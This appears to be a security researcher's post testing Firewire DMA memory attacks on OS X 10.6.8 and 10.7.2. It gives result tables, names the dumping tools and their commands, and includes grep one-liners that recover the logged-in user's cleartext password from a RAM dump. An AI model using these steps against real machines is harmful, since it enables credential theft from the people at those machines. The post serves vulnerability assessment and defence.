I recently spent some time testing Firewire memory access on OS X to determine the current state of vulnerability to DMA attacks. There is a lot of prior art (
Uwe Hermann has a good summary), and I was particularly interested in the claims of
deficiencies in the DMA defences provided by Lion (
Update: it looks like this was CVE-2011-3215
fixed in 10.7.2, which agrees with my findings).
To check for
firewire and
thunderbolt ports programmatically you can parse the output of system_profiler:
$ system_profiler SPFireWireDataType SPThunderboltDataType
FireWire:
FireWire Bus:
Maximum Speed: Up to 800 Mb/sec
...
Thunderbolt:
MacBook Pro:
Vendor Name: Apple, Inc.
Device Name: MacBook Pro
UID: 0x0001000A19999900
...
I used two MacBookPros, one running 10.6.8 and one running 10.7.2 fully patched as at 2011-12-29. Hardware specs:
$ system_profiler SPHardwareDataType
Model Name: MacBook Pro
Model Identifier: MacBookPro8,2
Processor Name: Intel Core i7
Processor Speed: 2 GHz
...
I used the
pyfw-20041111 module to do the DMA using dumpmem which reads 256MB from 0x10000000:
python demo_dumpmem.py
hexdump -C cfffffffffffffff-10000000-20000000.memdump
and I also tested using
ramdump.py and the
libforensic1394 libraries, with the same results.
python ./ramdump.py 1024 f
SBP-2 not used, forcing 2048 byte pages.
[<forensic1394.device.Device object at 0xfffffffff>]
Attempting to access device 0: Apple Computer, Inc. Macintosh
Wrote file ramdump.bin.
Target 10.7.2, attacked from 10.6.8.
When targeting the 10.7.2 machine I could only access memory when the screen was unlocked, in all other scenarios I just received zeros. Note I tested with and without FileVault2 enabled, and the results were the same.
| Status | DMA Capture Result |
| Logged in, not locked | Captured |
| Logged in, locked | 0s |
| Login, log out, at login screen | 0s |
| System booted, not logged in | 0s |
| Switch user from fast user switching menu | 0s |
The cleartext password for the logged in user can be trivially retrieved with:
strings memdump | grep --after-context=4 longname | grep --after-context=1 password
Target 10.6.8, attacked from 10.7.2.
10.6.8 is the complete opposite, capture is possible in all cases (note that there is a
NVRAM setting that can be used to defend against this attack without requiring a firmware password).
| Status | DMA Capture Result |
| Logged in, not locked | Captured |
| Logged in, locked | Captured |
| Login, log out, at login screen | Captured |
| System booted, not logged in | Captured |
| Switch user from fast user switching menu | Captured |
Get cleartext password with:
strings memdump | grep --after-context=3 managedUser | grep --after-context=1 password
